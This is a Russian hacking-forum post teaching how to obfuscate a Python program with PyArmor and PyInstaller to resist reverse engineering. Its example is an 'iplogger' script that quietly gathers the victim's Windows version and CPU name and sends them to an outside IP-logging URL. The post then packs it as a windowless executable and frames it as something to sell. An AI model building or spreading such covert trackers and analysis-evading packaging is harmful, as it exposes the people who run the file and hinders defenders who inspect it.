• Начинающий хакер, спасибо что зашёл к нам! Для полного удобства рекомендуем Вам сразу же зарегистрироваться. Помните, необходимо придумать сложный пароль к своему логину, в котором будут присутствовать цифры, а так же символы. После регистрации вы сможете пользоваться чатом. Так же не забудьте активировать аккаунт через письмо, высланное вам на почту ! Администрация заботится о каждом из Вас...
  • Для просмотра разделов из категории Private Informations & Programms необходимо купить

Защищаем свой Python скрипт за пару минут

  • Автор темы Автор темы Morwenns
  • Дата начала Дата начала

Morwenns

Гость
M

Morwenns

Гость
[POSTS=2]Думаю многие знают, что Python для разного приват софта очень плох, т.к. получить исходник из собранного pyinstaller'ом .exe файла очень легко.

Но можно защитить скрипт так, чтобы человек не знающий дебаггеров, и вообще мало понимающий в реверс инженеринге, не смог сделать с вашим софтом ничего.

Разберем на примере простейшего iplogger'a.

Код:
import requests
import os
import platform
import subprocess
windows = platform.uname()
windows = windows[0]+' '+windows[2]+' '+windows[1]
cpu = subprocess.check_output(["wmic","cpu","get", "name"], creationflags=0x08000000).decode('utf-8')
cpu = cpu.replace('\r', '').replace('Name', '').strip()
requests.get('https://iplis.ru/1w5pu7', headers={'User-Agent':windows+' '+cpu})

Теперь установим нужные библиотеки.

Код:
pip install pyarmor
pip install PyInstaller

В консоли переходим в папку проекта или где находиться главный файл.

Теперь сам процесс защиты.

В консоли прописываем.

Код:
pyarmor pack -e " здесь аргументы от pyinstaller'a" api.py

Как пример команда с такими аргументами как --onefile --noconsole --icon=NONE

Соберет все доп файлы в один exe-шник, при запуске консоли не будет и установится стандартная windows иконка.

После этого можно продавать свою программу, т.к. шанс взлома и слива исходников уменьшился на ~95%

Вот что будет, если попробовать разобрать программу:

1578659694354.png

А вот что было бы без защиты:
1578659703846.png


[/POSTS]
 
Сверху Снизу